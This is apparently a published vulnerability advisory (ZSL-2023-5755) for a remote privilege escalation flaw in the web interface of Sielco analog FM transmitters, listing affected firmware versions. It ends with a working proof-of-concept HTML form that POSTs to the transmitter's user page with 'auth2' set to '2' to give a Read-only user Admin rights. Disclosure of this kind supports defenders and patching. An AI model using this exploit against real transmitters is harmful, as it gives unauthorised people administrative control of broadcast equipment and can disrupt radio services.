Sielco Analog FM Transmitter 2.12 Remote Privilege Escalation  
Vendor: Sielco S.r.l  
Product web page:  
Affected version: 2.12 (EXC5000GX)  
2.12 (EXC120GX)  
2.11 (EXC300GX)  
2.10 (EXC1600GX)  
2.10 (EXC2000GX)  
2.08 (EXC1600GX)  
2.08 (EXC1000GX)  
2.07 (EXC3000GX)  
2.06 (EXC5000GX)  
1.7.7 (EXC30GT)  
1.7.4 (EXC300GT)  
1.7.4 (EXC100GT)  
1.7.4 (EXC5000GT)  
1.6.3 (EXC1000GT)  
1.5.4 (EXC120GT)  
Summary: Sielco designs and produces FM radio transmitters  
for professional broadcasting. The in-house laboratory develops  
standard and customised solutions to meet all needs. Whether  
digital or analogue, each product is studied to ensure reliability,  
resistance over time and a high standard of safety. Sielco  
transmitters are distributed throughout the world and serve  
many radios in Europe, South America, Africa, Oceania and China.  
Desc: The application suffers from a privilege escalation vulnerability.  
A user with Read permissions can elevate his/her privileges by sending  
a HTTP POST request setting the parameter 'auth1' or 'auth2' or 'auth3'  
to integer value '1' for Write or '2' for Admin permissions.  
Tested on: lwIP/2.1.1  
Vulnerability discovered by Gjoko 'LiquidWorm' Krstic  
Advisory ID: ZSL-2023-5755  
Advisory URL:  
<form action="http://transmitter/protect/users.htm" method="POST">  
<input type="hidden" name="pwd0" value="" />  
<input type="hidden" name="pwd0bis" value="" />  
<input type="hidden" name="user1" value="" />  
<input type="hidden" name="pwd1" value="" />  
<input type="hidden" name="pwd1bis" value="" />  
<input type="hidden" name="auth1" value="" />  
<input type="hidden" name="user2" value="test" />  
<input type="hidden" name="pwd2" value="" />  
<input type="hidden" name="pwd2bis" value="" />  
<input type="hidden" name="auth2" value="2" />  
<input type="hidden" name="user3" value="" />  
<input type="hidden" name="pwd3" value="" />  
<input type="hidden" name="pwd3bis" value="" />  
<input type="hidden" name="auth3" value="" />  
<input type="submit" value="Escalate" />